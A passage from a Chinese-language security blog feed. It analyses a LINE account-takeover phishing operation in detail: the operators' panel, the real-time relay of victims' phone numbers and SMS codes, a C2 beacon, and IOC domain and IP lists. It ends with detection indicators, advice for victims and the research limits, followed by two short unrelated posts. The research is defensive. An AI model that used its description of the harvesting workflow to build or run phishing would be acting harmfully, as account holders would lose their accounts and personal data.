<li>路由守衛寫死了兩級權限：<code>/daoline/accounts</code>（「子账号管理」）掛 <code>requiresMainAdmin</code>，
<code>role !== "main"</code> 就被踢回工作台。也就是 <strong><code>main</code> 是老闆、能管子帳號；<code>sub</code> 是輪班操作員、只能用「工作台7号」處理受害者</strong>。</li>
<li><code>语音提示</code>（voice notify）不是裝飾——有人上鉤／提交碼時會<strong>播語音提醒操作員</strong>。配上
<code>工作台7号</code>／<code>号台</code> 這種編號工作台，整個後台就是一間<strong>客服中心式的盜號工廠</strong>，不是單人作案。</li>
</ul>
<p>被盜帳號的實際欄位（清單長什麼樣）由 ThinkPHP6 API 在登入後回傳，不在前端 bundle 裡，所以本次沒有、也不會去取。</p>
<h3 id="operator-↔-受害者的即時協定" class="phrased">operator ↔ 受害者<wbr>的<wbr>即時<wbr>協定</h3>
<p>把三支腳本串起來，就是一套即時中繼協定：</p>
<ul>
<li>受害者頁 <code>review.js</code> 每 3 秒輪詢 <code>/api/request-status.php</code> 等後台裁決；</li>
<li>Kit C 的 <code>chat-track.js</code> 透過 <code>/api/chat.php?action=send</code> 把每一步（拿碼、提交、各種彈窗事件）
即時推給操作員；</li>
<li>操作員可反向推播不同彈窗：<code>win_modal</code>（中獎）、<code>line_modal</code>、<code>verify_modal</code>、<code>pending_modal</code>、
<code>confirm_modal</code>、<code>reentry</code>（要求重輸碼）。</li>
</ul>
<p><code>chat-track.js</code> 上報的欄位也洩了收割範圍：<code>phone</code>、<code>code</code>、<code>game_id</code>、<code>username</code>、<code>name</code>、
<code>email</code>，以及 <code>address</code>、<code>city</code>、<code>district</code>、<code>deliver_time</code>、<code>shipping_method</code>——
出現地址與寄送欄位，代表<strong>除了 LINE 帳號接管，還有一條騙地址／假寄送的實體詐騙變體</strong>。</p>
<p>唯讀狀態探測（只看 HTTP 狀態碼、未取 body）也確認了幾個後台端點是真的：
<code>/employee/dashboard.php</code> → <strong>302</strong>（員工後台，導向登入）、<code>/api/chat.php</code> → <strong>200</strong>、
<code>/api/external_verify.php</code> → <strong>405</strong>（存在、只收 POST）。</p>
<h2 id="基礎設施測繪" class="phrased">基礎<wbr>設施<wbr>測繪</h2>
<ul>
<li><strong>TLS SAN 洩漏</strong>：對憑證主機名不符的站發請求，錯誤訊息列出同憑證全部 SAN。
對 42 台主機收集後取得 73 個新名稱：26 個存活（含 2 個 admin 後台域名）、47 個已註冊但尚未啟用的預備域名（見下）。</li>
<li>叢集規模（2026-09-26 快照）：<strong>100 存活主機 / 32 IP</strong>；命名模式 <code>eu.cc</code> + 4–6 隨機小寫字母，
另有 <code>.shop</code> / <code>.bond</code> / <code>.top</code> 變體。</li>
<li>這些 <code>eu.cc</code> 都掛在同一組 DNS：<code>a.rsp-dns.com</code> / <code>b.rsp-dns.com</code>（SOA <code>master.julydns.com</code>）——廉價／免費子網域服務，是整個叢集的供應管道。</li>
<li>C2 遙測：<code>basic-being-basic.top/api/ip-sync/sync</code>（見上一節）。</li>
<li>業務外溢：同一批憑證也掛著仿冒 OKX 的假加密貨幣交易所。</li>
</ul>
<h3 id="預註冊-尚未啟用的輪替庫存" class="phrased">預<wbr>註冊、<wbr>尚未<wbr>啟用<wbr>的<wbr>輪替<wbr>庫存</h3>
<p>同一組憑證上，除了 26 個當時存活的域名，還有 <strong>47 個已註冊但還沒指向任何主機</strong>的 <code>eu.cc</code> 子網域。
這是攻擊者的<strong>輪替庫存</strong>：現役站被封或被盜號受害者檢舉後，隨時可以把 DNS 指過去接手。
把它們先列出來，是為了讓封鎖清單能<strong>跑在啟用之前</strong>——這是這條攻擊鏈少數能「先發制人」的地方。</p>
<pre tabindex="0"><code>bijvw.eu.cc  bive.eu.cc  brgr.eu.cc  btds.eu.cc  cbje.eu.cc  dbfzs.eu.cc
dfbe.eu.cc  ebfb.eu.cc  efvb.eu.cc  emwz.eu.cc  erdvg.eu.cc  etnt.eu.cc
evwb.eu.cc  fhfg.eu.cc  hdks.eu.cc  iows.eu.cc  jnkbe.eu.cc  kdhv.eu.cc
kdjv.eu.cc  kjsf.eu.cc  llisw.eu.cc  mtnr.eu.cc  mwoq.eu.cc  ncgve.eu.cc
njvd.eu.cc  nvjk.eu.cc  qpive.eu.cc  qpiw.eu.cc  revda.eu.cc  rewg.eu.cc
rnjog.eu.cc  rvcx.eu.cc  rwbm.eu.cc  sdkjv.eu.cc  tyxcn.eu.cc  vbjs.eu.cc
vdje.eu.cc  veniw.eu.cc  vetrv.eu.cc  veuk.eu.cc  vkbj.eu.cc  vrett.eu.cc
vrlxcr.eu.cc  vwkd.eu.cc  wkdm.eu.cc  wudi.eu.cc  xuvet.eu.cc
</code></pre>
<p>（截至 2026-09-26 覆核，這 47 個都還沒有 A 記錄；名字本身沒有語意，就是隨機字母。）</p>
<h2 id="ioc-真實網域與公網-ip-2026-09-26-快照" class="phrased">IOC：<wbr>真實<wbr>網域<wbr>與公網 IP<wbr>（2026-09-26 快照）</h2>
<p>以下都是當天 DNS／HTTP 唯讀確認過的存活主機。域名每週輪替，看到時可能已死或已換 IP，
但 IP／ASN 群集相對穩定，適合直接進封鎖清單。<strong>被盜帳號清單這種受害者資料不在此列，也不會公開。</strong></p>
<p>主機集中在幾個香港廉價 VPS 的 IP 上，clustering 很明顯：</p>
<table tabindex="0">
<thead>
<tr>
<th>IP</th>
<th>掛的主機數</th>
<th>ASN / 主機商</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>103.85.227.115</code></td>
<td>13</td>
<td>AS401696 cognetcloud（HK）</td>
</tr>
<tr>
<td><code>207.56.20.196</code></td>
<td>10</td>
<td><code>.bond</code> 群集</td>
</tr>
<tr>
<td><code>116.204.132.44</code></td>
<td>8</td>
<td>AS401701 cognetcloud（HK）</td>
</tr>
<tr>
<td><code>103.233.252.181</code></td>
<td>7</td>
<td>—</td>
</tr>
<tr>
<td><code>103.158.228.150</code></td>
<td>6</td>
<td>—</td>
</tr>
<tr>
<td><code>103.121.95.120</code></td>
<td>5</td>
<td>AS401701 FOJIP（HK）</td>
</tr>
<tr>
<td><code>103.97.178.237</code></td>
<td>5</td>
<td>—</td>
</tr>
<tr>
<td><code>216.173.67.107</code></td>
<td>5</td>
<td>—</td>
</tr>
<tr>
<td><code>103.185.249.111</code></td>
<td>4</td>
<td>後台所在（見下）</td>
</tr>
<tr>
<td><code>156.238.227.49</code></td>
<td>4</td>
<td>AS402506 Zenixcloud</td>
</tr>
<tr>
<td><code>103.116.247.56</code></td>
<td>4</td>
<td>—</td>
</tr>
<tr>
<td><code>199.102.216.161</code></td>
<td>4</td>
<td>AS402506 Zenixcloud</td>
</tr>
</tbody>
</table>
<p><strong>假 LINE 登入子網域</strong>（掛在 <code>line.</code> 前綴下，直接仿冒 LINE 登入）：</p>
<pre tabindex="0"><code>line.hfue.eu.cc        103.85.227.115
line.iteadq.lat        103.185.249.111
line.itedae.me         103.158.228.150
line.itedam.me         103.158.228.150
line.iteduah.me        103.85.227.31
line.iteduas.shop      103.158.228.150
line.ithuki.shop       116.204.132.44
</code></pre>
<p><strong>管理後台</strong>（<code>/daoline/</code> 之外、operator 自用，對外 403）：</p>
<pre tabindex="0"><code>admin.kjvw.eu.cc       103.185.249.111
admin.sblmm.shop       103.185.249.111
</code></pre>
<p><strong>同一營運者的假 OKX 交易所</strong>（與本叢集共用憑證，掛 Cloudflare）：</p>
<pre tabindex="0"><code>okxcoinx.top   coinxdex.top   coinxtrc.top
</code></pre>
<p><strong>投票釣魚站</strong>（<code>domain  IP</code>，88 個）：</p>
<pre tabindex="0"><code>aduhey.my              64.118.150.107      askw.shop              103.85.227.115
awayaxfut.bond         207.56.20.196       bhuntre.com            103.117.136.134
cbej.eu.cc             103.121.95.120      cbks.eu.cc             103.85.227.115
cbnm.eu.cc             103.97.178.237      ciwtr.eu.cc            156.238.227.49
clsm.eu.cc             103.121.95.120      cnlw.eu.cc             38.76.193.162
cveow.eu.cc            116.204.132.44      drsv.eu.cc             116.204.132.44
dsvds.eu.cc            156.238.227.49      erbf.eu.cc             103.85.227.115
etlhsse.eu.cc          103.233.252.181     eukks.eu.cc            103.233.252.181
fewss.eu.cc            216.173.67.107      fttpperformance.bond   207.56.20.196
heyluck.xyz            64.118.150.107      hfue.eu.cc             103.85.227.115
hksud.eu.cc            116.204.132.44      husdf.eu.cc            156.238.230.118
husie.eu.cc            103.85.227.115      ieow.eu.cc             103.116.247.56
ieskss.eu.cc           103.233.252.181     iiosp.eu.cc            103.121.95.120
ioea.eu.cc             38.76.193.162       ioow.eu.cc             103.85.227.115
itdrls.eu.cc           103.233.252.181     iteadq.lat             103.185.249.111
itedaa.me              114.134.187.246     itedae.me              103.158.228.150
itedam.me              103.158.228.150     itedua.me              103.233.252.167
iteduah.me             103.85.227.31       iteduas.shop           103.158.228.150
ithhks.eu.cc           103.233.252.181     ithlss.com             103.233.252.181
ithuki.shop            116.204.132.44      ithuky.eu.cc           156.238.230.118
itllsw.eu.cc           103.233.252.181     itysk.eu.cc            156.238.230.118
iwne.eu.cc             103.97.178.237      jkazx.eu.cc            116.204.132.44
kstp.eu.cc             104.21.9.226        lfhe.eu.cc             199.102.216.161
lsio.eu.cc             103.85.227.115      ltwjdr.com             104.21.95.27
mouthjhvgrh.bond       207.56.20.196       ncle.eu.cc             216.173.67.107
pjtxh.eu.cc            116.204.132.44      ploe.eu.cc             103.85.227.115
politicsxmtw.bond      207.56.20.196       positionfpmm.bond      207.56.20.196
qosiv.eu.cc            216.173.67.107      qwio.eu.cc             156.238.227.64
regionzhaej.bond       207.56.20.196       rehe.eu.cc             103.85.227.115
relatevebne.bond       207.56.20.196       rgns.eu.cc             103.116.247.56
rjvn.eu.cc             199.102.216.161     rnts.eu.cc             103.116.247.56
rtdcv.eu.cc            216.173.67.107      rtyu.shop              103.121.95.120
sbpgonscore.bond       207.56.20.196       scir.eu.cc             103.116.247.56
sdiet.eu.cc            156.238.230.31      timwx.eu.cc            38.76.193.162
vbkjd.eu.cc            199.102.216.161     vjbh.shop              199.102.216.161
vnbru.eu.cc            156.238.227.49      vnue.eu.cc             103.97.178.237
vwbo.eu.cc             103.85.227.115      vwsa.qpon              103.85.227.115
wcjk.eu.cc             156.238.227.64      wercv.eu.cc            156.238.227.14
wetret.eu.cc           103.85.227.115      whatevergjgv.bond      207.56.20.196
wkso.eu.cc             103.97.178.237      wrbc.eu.cc             156.238.227.49
wrtq.eu.cc             156.238.230.31      xfgnb.eu.cc            116.204.132.44
xulwk.eu.cc            216.173.67.107      yeisw.eu.cc            103.97.178.237
zemgsee.bond           207.56.20.196       zvxdcv.eu.cc           103.121.95.120
bhuntre.com            103.117.136.134     ltwjdr.com             104.21.95.27
</code></pre>
<p>（<code>kstp.eu.cc</code>、<code>ltwjdr.com</code> 走 Cloudflare，<code>104.21.*</code>／<code>172.67.*</code> 是 Cloudflare edge、非源站。
<code>bhuntre.com</code> 是仿冒台灣正規比賽平台「獎金獵人 bhuntr.com」的變體。）</p>
<p>其他固定指標：C2 <code>basic-being-basic.top/api/ip-sync/sync</code>；所有 <code>eu.cc</code> 的 DNS 都是
<code>a.rsp-dns.com</code> / <code>b.rsp-dns.com</code>（SOA <code>master.julydns.com</code>）；散布常搭配 <code>reurl.cc</code>、<code>zip1.io</code>、
<code>ssur.cc</code>、<code>my.ppt.cc</code> 等短網址跳板。</p>
<h2 id="不只是-line-釣魚-一個多品牌-phishing-as-a-service" class="phrased">不只是 LINE 釣魚：<wbr>一個<wbr>多<wbr>品牌 phishing-as-a-service</h2>
<p>順著憑證與同箱關聯往外拉，這個「繪畫投票」叢集其實只是一間工廠的其中一條產線。
把憑證家族（同一張 TLS 憑證＝同一營運者，最硬的證據）和專用主機接起來，會看到這樣：</p>
<figure class="diagram"><svg viewBox="0.00 0.00 639.00 273.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="憑證家族與同箱關聯（→ 同一營運者）">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 268.52)">
<polygon fill="none" stroke="none" points="-4,4 -4,-268.52 635.1,-268.52 635.1,4 -4,4"></polygon>

<g class="node">

<ellipse fill="#eeeeee" stroke="currentColor" cx="56.53" cy="-127.96" rx="56.53" ry="20.03"></ellipse>
<text text-anchor="middle" x="56.53" y="-123.76" font-family="Helvetica,sans-Serif" font-size="14.00">同一營運者</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="631.1,-201.52 453.08,-201.52 453.08,-156.4 631.1,-156.4 631.1,-201.52"></polygon>
<text text-anchor="middle" x="542.09" y="-183.16" font-family="Helvetica,sans-Serif" font-size="14.00">LINE 盜號</text>
<text text-anchor="middle" x="542.09" y="-166.36" font-family="Helvetica,sans-Serif" font-size="14.00">iteda*.me / *.eu.cc / line.*</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M112.75,-131.02C164.61,-134.14 244.32,-139.56 313.27,-146.96 355.38,-151.48 401.69,-157.74 441.5,-163.53"></path>
<polygon fill="currentColor" stroke="currentColor" points="440.91,-166.98 451.32,-164.97 441.93,-160.06 440.91,-166.98"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="313.27,-61.92 150.06,-61.92 150.06,0 313.27,0 313.27,-61.92"></polygon>
<text text-anchor="middle" x="231.67" y="-43.56" font-family="Helvetica,sans-Serif" font-size="14.00">加密貨幣</text>
<text text-anchor="middle" x="231.67" y="-26.76" font-family="Helvetica,sans-Serif" font-size="14.00">假OKX / trx.iteduah.me</text>
<text text-anchor="middle" x="231.67" y="-9.96" font-family="Helvetica,sans-Serif" font-size="14.00">brtrx.cc(TRON)</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M80.94,-109.66C95.02,-99.11 113.55,-85.98 131.06,-75.96 136.21,-73.01 141.58,-70.12 147.05,-67.3"></path>
<polygon fill="currentColor" stroke="currentColor" points="148.25,-70.61 155.62,-63 145.11,-64.36 148.25,-70.61"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="291.88,-264.52 171.45,-264.52 171.45,-219.4 291.88,-219.4 291.88,-264.52"></polygon>
<text text-anchor="middle" x="231.67" y="-246.16" font-family="Helvetica,sans-Serif" font-size="14.00">假 Google Maps</text>
<text text-anchor="middle" x="231.67" y="-229.36" font-family="Helvetica,sans-Serif" font-size="14.00">mapsgoogle.cc</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M75.04,-147.31C92.55,-165.72 120.98,-193.16 150.06,-210.96 153.59,-213.12 157.3,-215.18 161.11,-217.13"></path>
<polygon fill="currentColor" stroke="currentColor" points="159.46,-220.22 169.99,-221.38 162.48,-213.9 159.46,-220.22"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="271.64,-201.52 191.69,-201.52 191.69,-156.4 271.64,-156.4 271.64,-201.52"></polygon>
<text text-anchor="middle" x="231.67" y="-183.16" font-family="Helvetica,sans-Serif" font-size="14.00">假電商</text>
<text text-anchor="middle" x="231.67" y="-166.36" font-family="Helvetica,sans-Serif" font-size="14.00">dbtkzx.cc</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M100.77,-140.7C124.94,-147.82 155.18,-156.72 180.4,-164.15"></path>
<polygon fill="currentColor" stroke="currentColor" points="179.19,-167.45 189.77,-166.92 181.17,-160.73 179.19,-167.45"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="619.8,-99.92 464.38,-99.92 464.38,-38 619.8,-38 619.8,-99.92"></polygon>
<text text-anchor="middle" x="542.09" y="-81.56" font-family="Helvetica,sans-Serif" font-size="14.00">假比賽平台</text>
<text text-anchor="middle" x="542.09" y="-64.76" font-family="Helvetica,sans-Serif" font-size="14.00">bhuntre.com(獎金獵人)</text>
<text text-anchor="middle" x="542.09" y="-47.96" font-family="Helvetica,sans-Serif" font-size="14.00">suitoai.com</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M110.2,-121.53C192.58,-111.48 352.82,-91.93 452.98,-79.71"></path>
<polygon fill="currentColor" stroke="currentColor" points="453.28,-83.2 462.78,-78.51 452.43,-76.25 453.28,-83.2"></polygon>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M313.7,-40.94C360.19,-46.67 418.24,-53.82 464.05,-59.47"></path>
<text text-anchor="middle" x="383.18" y="-58.28" font-family="Helvetica,sans-Serif" font-size="9.00">brtrx/suitoai 同箱同證</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M292.13,-229.81C337.65,-220.52 401.13,-207.55 452.61,-197.03"></path>
<text text-anchor="middle" x="383.18" y="-224.28" font-family="Helvetica,sans-Serif" font-size="9.00">xfjr7773 憑證=mapsgoogle</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M272.04,-178.96C317.35,-178.96 393.17,-178.96 452.8,-178.96"></path>
<text text-anchor="middle" x="383.18" y="-181.66" font-family="Helvetica,sans-Serif" font-size="9.00">共用同一張憑證</text>
</g>
</g>
</svg><figcaption>憑證家族與同箱關聯（→ 同一營運者）</figcaption></figure>
<p>決定性的一條：<strong><code>dbtkzx.cc</code>（假電商）跟 <code>iteda.me</code>（LINE 盜號）共用同一張 TLS 憑證</strong>——
不同品牌、同一夥人，這點沒有模糊空間。</p>
<p>兩個發現值得單獨記：</p>
<ol>
<li>
<p><strong>他們正在換主機商。</strong> 新一代的 <code>iteda*.me</code> 家族（<code>iteda.me</code>、<code>itedas.me</code>、<code>itedau.me</code>、
<code>iteduae.me</code>、<code>iteduam.me</code>、<code>iteduan.me</code>、<code>iteduas.me</code> 及對應的 <code>line.iteda*.me</code> 假登入頁）
已經從香港廉價 VPS 搬到 <strong>Tencent Cloud（<code>119.28.12.254</code>）與 Aceville／Tencent 國際版 SG
（<code>43.167.14.73</code>、<code>43.155.33.218</code>、<code>124.156.98.111</code>）</strong>。<code>103.85.227.31</code> 這台更直接——
<code>iteduah.me</code>（LINE）和 <code>trxjj.cc</code>／<code>trx.trxjj.cc</code>（TRON）掛在同一台。</p>
</li>
<li>
<p><strong>封鎖時別整段封 IP。</strong> <code>103.117.136.134</code> 是<strong>共享主機</strong>：<code>bhuntre.com</code>／<code>brtrx.cc</code>／<code>suitoai.com</code>
是這夥人的租戶，但同 IP 還有 30 幾個無關的中國公司網域。整段封會誤傷，<strong>只封域名</strong>。</p>
</li>
</ol>
<p>新一代與跨品牌的存活主機（2026-09-26 覆核，供補進封鎖清單）：</p>
<pre tabindex="0"><code># LINE 新世代（Tencent / Aceville）
iteda.me 119.28.12.254        iteduas.me 119.28.12.254     line.iteda.me 119.28.12.254
itedas.me 43.167.14.73        line.itedas.me 43.167.14.73  iteduan.me 43.155.33.218
line.iteduan.me 43.155.33.218 iteduae.me 103.233.252.167   iteduam.me 103.185.249.111
itedau.me 156.238.230.118     ceos.eu.cc 156.238.227.31     dsfe/euhs/nuwe/qeix/sfse.eu.cc 156.238.230.31
fgni.eu.cc 103.185.249.111    pp.huuoop.shop 124.156.98.111 aozjtd.eu.cc 43.110.33.35
# 加密貨幣（TRON）
trxjj.cc 103.85.227.31        trx.trxjj.cc 103.85.227.31    trx.iteduah.me 103.85.227.31
brtrx.cc 103.117.136.134      suitoai.com 103.117.136.134   xfjr7773.com 119.28.12.254
# 假 Google Maps / 假電商 / 其他（同箱）
mapsgoogle.cc 119.28.12.254   dbtkzx.cc 119.28.12.254       news16.cc/news18.cc/twyue.cc 119.28.12.254
aitowa.cc 103.85.227.31       heyluck.top 64.118.150.107
</code></pre>
<p>Wayback 的歷史快照還洩了各品牌的 kit 路徑結構，坐實它們共用同一套後台：
<code>/Google/{login,register,kefu,rule,topic}.php</code>（Google 品牌 kit）、
<code>/api/mall/*</code> + <code>debug_buy.php</code>（電商 kit）、<code>/api/videos/*</code>（影片服務）——
<code>kefu</code>（客服）、<code>zhuce</code>（注册）都是簡體，跟 <code>daoline</code> 後台同源。</p>
<h2 id="osint-pivot-可重用-含死路" class="phrased">OSINT pivot<wbr>（可<wbr>重用；<wbr>含<wbr>死路）</h2>
<p>有效：</p>
<ul>
<li><strong>Cofacts GraphQL</strong>（<code>api.cofacts.tw/graphql</code>）：第一手活體樣本 URL 最佳來源。
帶瀏覽器 UA（urllib 吃 403），<code>createdAt</code> 分頁全抓後本地過濾。</li>
<li><strong>urlscan.io</strong>：<code>page.ip:"&#x3C;ip>"</code> 反查最強 pivot；<code>page.title:"投票活動"</code> 精確命中整叢集。
另一招更準——<code>domain:basic-being-basic.top</code>，直接撈出<strong>所有載入過那支 C2 beacon 的頁面</strong>，等於用共用元件反查整群。</li>
<li><strong>certSpotter</strong>（<code>api.certspotter.com/.../issuances?...&#x26;include_subdomains=true</code>）：
<code>include_subdomains=true</code> 是關鍵，一次把整組 <code>line.iteda*.me</code> 子網域拉出來；crt.sh 對這批 <code>eu.cc</code> 查無記錄，換這個 CT 前端就有。</li>
<li><strong>openssl <code>s_client</code> 讀憑證 SAN</strong>：對憑證主機名不符的站發一次 handshake，<code>subjectAltName</code> 會列出同證所有域名——<code>brtrx.cc</code>、<code>dbtkzx.cc↔iteda.me</code> 的關聯都是這樣挖出來的。</li>
<li><strong>AlienVault OTX</strong> passive DNS（免 key）：反查 C2、反查 IP 帶出同箱域名（共享 VPS 雜訊多，要用叢集指紋過濾）。</li>
<li><strong>Wayback Machine CDX</strong>（<code>web.archive.org/cdx/search</code>）：歷史快照洩出各 kit 的路徑結構（<code>/Google/*</code>、<code>/api/mall/*</code>），連被動列舉不到的端點都留了紀錄。</li>
</ul>
<p>半死路 / 死路：</p>
<ul>
<li><strong>crt.sh 對這批域名查無記錄</strong>，但別因此以為憑證不在 CT log 裡——用 <strong>certSpotter</strong> 的 API
（<code>api.certspotter.com/v1/issuances?domain=...&#x26;expand=dns_names</code>）反而查得到同一批 Let's Encrypt 憑證，
一張憑證上 5～10 個 SAN 全列出來。也就是說「crt.sh 是死路」是 crt.sh 的索引問題，不是 CT 本身；
换個 CT 前端就活了。這點跟先前筆記說的「刻意不進 CT」不同，以實測為準。</li>
<li>OpenPhish 免費 feed（7 筆）、PhishStats（522）、HackerTarget（覆蓋不足）、
urlscan 匿名不索引 CJK 內文（自由文字 0 命中）——這幾個是真死路。</li>
</ul>
<h2 id="detection-ioc">Detection / IOC</h2>
<ul>
<li>網路：<code>*.eu.cc</code> + <code>/api/request-status.php</code> 短輪詢；beacon 打 <code>basic-being-basic.top/api/ip-sync/sync</code>；載入 <code>/MetaPixel/</code> 隱藏 iframe。</li>
<li>頁面：無密碼欄、僅索取手機號＋簡訊碼、輪詢式「等待審核」UI、<code>daoline</code> 路由前綴。</li>
<li>可先發制人：上面 47 個預註冊 <code>eu.cc</code> 可直接進封鎖清單，不必等它們啟用。</li>
<li>存活域名 / IP / 後台域名見上一節 IOC。<strong>唯一不公開的是被盜帳號清單這類受害者資料</strong>——那要走 165／刑事局／LINE 官方，由執法機關持票取證。</li>
</ul>
<h2 id="如果你點過這種連結" class="phrased">如果<wbr>你<wbr>點過<wbr>這種<wbr>連結</h2>
<ul>
<li>LINE →「設定」→「我的帳號」，檢查登入中的裝置，踢掉不認識的。</li>
<li>在同一頁關閉「允許自其他裝置登入」，更改密碼，並綁定 Apple 或 Google 帳號。</li>
<li>已經登不進去的話，用 LINE 官方客服表單申訴。</li>
<li>通知你的聯絡人：從你帳號發出的投票連結都不要點。</li>
</ul>
<p>LINE 官方口訣：<strong>停、查、碼不給</strong>。任何網站、任何人要簡訊驗證碼，都不要給。
收到「幫忙投票」的訊息，打電話跟對方本人確認——他的帳號可能已經被盜了。</p>
<h2 id="界線">界線</h2>
<p>僅做被動 OSINT 與唯讀 GET；後台結構全部由攻擊者自身 bundle 靜態還原。
<strong>未登入後台、未提交任何憑證、未取被盜帳號清單、未對 403 做繞過</strong>——
未授權存取他人系統即使對象為犯罪者仍違法（刑法 §358 / §359），且會污染報案證據鏈。
被盜帳號實資料的正當取證途徑為執法機關持票。</p>]]></content:encoded>
    </item>
    <item>
      <title>回報的 Line 漏洞正由官方修復</title>
      <link>https://blog.siao.ai/line-ios-dos-disclosure/</link>
      <guid isPermaLink="true">https://blog.siao.ai/line-ios-dos-disclosure/</guid>
      <pubDate>Thu, 17 Sep 2026 00:00:00 GMT</pubDate>
      <description>先前循責任揭露流程回報給 LY Corporation 的一個會導致 Line iOS 原生崩潰的漏洞（可用性 / DoS 類，非帳號接管），已被官方重現、正在修復中。漏洞修好之前不公開任何能重現它的細節，完整技術文章等官方修復完成後再發。</description>
      <content:encoded><![CDATA[<p>先前循責任揭露（responsible disclosure）流程回報給 LY Corporation 的一個 Line iOS 漏洞，官方已經重現、目前正在修復中。</p>
<p>這是一個記憶體安全問題，會導致 Line iOS app 原生崩潰，屬於可用性（DoS）類別，不是帳號接管。於 2026-08-29 透過官方資安回報信箱送出，隨附完整技術報告，以及從實機拉取的裝置端崩潰證據。</p>
<p>責任揭露的立場很簡單：<strong>漏洞修好之前，不公開任何能重現它的細節。</strong> 根因分析、觸發條件、影響範圍這些完整內容，會等官方修復完成後再整理成技術文章發出來——那會是這個站接下來的一篇。現在能講的只有這條時間軸：</p>
<figure class="diagram"><svg viewBox="0.00 0.00 537.00 66.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="這個漏洞的責任揭露時間軸">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 62.4)">
<polygon fill="none" stroke="none" points="-4,4 -4,-62.4 532.99,-62.4 532.99,4 -4,4"></polygon>

<g class="node">

<polygon fill="none" stroke="currentColor" points="62.68,-50 0,-50 0,-8.4 62.68,-8.4 62.68,-50"></polygon>
<text text-anchor="middle" x="31.34" y="-33.4" font-family="Helvetica,sans-Serif" font-size="14.00">逆向分析</text>
<text text-anchor="middle" x="31.34" y="-16.6" font-family="Helvetica,sans-Serif" font-size="14.00">發現漏洞</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="186.29,-58.4 98.68,-58.4 98.68,0 186.29,0 186.29,-58.4"></polygon>
<text text-anchor="middle" x="142.48" y="-41.8" font-family="Helvetica,sans-Serif" font-size="14.00">2026-08-29</text>
<text text-anchor="middle" x="142.48" y="-25" font-family="Helvetica,sans-Serif" font-size="14.00">附報告與崩潰</text>
<text text-anchor="middle" x="142.48" y="-8.2" font-family="Helvetica,sans-Serif" font-size="14.00">證據回報官方</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M63.03,-29.2C70.57,-29.2 78.87,-29.2 87.17,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="86.88,-32.7 96.88,-29.2 86.88,-25.7 86.88,-32.7"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="284.96,-50 222.29,-50 222.29,-8.4 284.96,-8.4 284.96,-50"></polygon>
<text text-anchor="middle" x="253.63" y="-33.4" font-family="Helvetica,sans-Serif" font-size="14.00">官方受理</text>
<text text-anchor="middle" x="253.63" y="-16.6" font-family="Helvetica,sans-Serif" font-size="14.00">重現確認</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M186.62,-29.2C194.45,-29.2 202.62,-29.2 210.42,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="210.4,-32.7 220.4,-29.2 210.4,-25.7 210.4,-32.7"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="383.64,-50 320.96,-50 320.96,-8.4 383.64,-8.4 383.64,-50"></polygon>
<text text-anchor="middle" x="352.3" y="-33.4" font-family="Helvetica,sans-Serif" font-size="14.00">修復中</text>
<text text-anchor="middle" x="352.3" y="-16.6" font-family="Helvetica,sans-Serif" font-size="14.00">（現在）</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M285.22,-29.2C292.8,-29.2 301.06,-29.2 309.09,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="309.07,-32.7 319.07,-29.2 309.07,-25.7 309.07,-32.7"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="528.99,-50 419.64,-50 419.64,-8.4 528.99,-8.4 528.99,-50"></polygon>
<text text-anchor="middle" x="474.32" y="-33.4" font-family="Helvetica,sans-Serif" font-size="14.00">修復完成後</text>
<text text-anchor="middle" x="474.32" y="-16.6" font-family="Helvetica,sans-Serif" font-size="14.00">公開完整技術細節</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M383.9,-29.2C391.35,-29.2 399.6,-29.2 407.99,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="407.94,-32.7 417.94,-29.2 407.94,-25.7 407.94,-32.7"></polygon>
</g>
</g>
</svg><figcaption>這個漏洞的責任揭露時間軸</figcaption></figure>
<p>回報時附帶的一個小插曲：在正式送出前補測跨機型可移植性時，這個漏洞意外把我自己的主力手機弄到暫時無法使用——後來查清是本機一層 force quit 都清不掉的頑固快取在作祟，完整登出再重新登入才復原。這段事故的處理過程本身也記了一份 journal，同樣會併進之後那篇技術文章。</p>
<p>修復進度有更新會在這裡補上。</p>]]></content:encoded>
    </item>
    <item>
      <title>重言 Re-Sinitic 要去全國科展</title>
      <link>https://blog.siao.ai/re-sinitic-science-fair/</link>
      <guid isPermaLink="true">https://blog.siao.ai/re-sinitic-science-fair/</guid>
      <pubDate>Thu, 17 Sep 2026 00:00:00 GMT</pubDate>
      <description>把「重言 Re-Sinitic」——固定漢語的語意結構、從零重新演化音韻與書寫層、檢驗形聲是不是雙通道文字系統必然收斂解的研究——整理成全國科展的參展作品，目前正在籌備。確認階段已於 2026-08-27 完成，主結論是在測試的所有條件下形聲都沒有湧現。</description>
      <content:encoded><![CDATA[<p>要拿「重言 Re-Sinitic」去參加全國科展，目前正在籌備參展。</p>
